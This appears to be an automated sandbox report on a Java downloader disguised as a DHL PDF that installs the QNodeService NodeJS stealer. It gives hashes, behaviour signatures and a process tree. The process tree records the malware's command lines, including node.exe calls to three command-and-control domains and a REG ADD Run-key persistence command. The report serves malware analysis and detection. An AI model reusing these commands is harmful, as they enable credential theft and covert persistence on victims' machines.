Analysis

  • max time kernel
    136s
  • max time network
    149s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    26-06-2020 06:07

General

  • Target

    DHL AWB.pdf.jar

  • Size

    12KB

  • MD5

    8884e6fdb451ba445b40b41d99cfc162

  • SHA1

    fa3ec63c146dd38cd98b9f478bb26c9028ff36cf

  • SHA256

    732389d36893f1f46024d4a4fecc3881f1d913818a34b676782115ab89023697

  • SHA512

    c59ed8982e490314604c81f062dcccf6d8bc529ecad5bb03acdadfc0690f8f8e9aa3f9e5eb3e92f3af8998224e65d3c3045bfdf21cca86de35a34a1bbf16eddb

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • QNodeService NodeJS Trojan 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar "C:\Users\Admin\AppData\Local\Temp\DHL AWB.pdf.jar"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3832
    • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
      C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\wizard.js start --group user:[email protected] --register-startup --central-base-url https://nax1.spdns.org --central-base-url https://nax1.duckdns.org --central-base-url https://nax1.theworkpc.com
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:632
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-16ca9dcf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-16ca9dcf.cmd\"""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1000
        • C:\Windows\system32\reg.exe
          REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "qnodejs-16ca9dcf" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-16ca9dcf.cmd\""
          4⤵
          • Adds Run key to start application
          PID:852
      • C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe
        C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\node.exe C:\Users\Admin\qnodejs-node-v13.13.0-win-x64\qnodejs\qnodejs-win32-x64.js serve start --group user:[email protected] --register-startup --central-base-url https://nax1.spdns.org --central-base-url https://nax1.duckdns.org --central-base-url https://nax1.theworkpc.com
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1104

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/632-115-0x0000023A09940000-0x0000023A09941000-memory.dmp

    Filesize

    4KB

  • memory/1104-121-0x0000033DDA680000-0x0000033DDA681000-memory.dmp

    Filesize

    4KB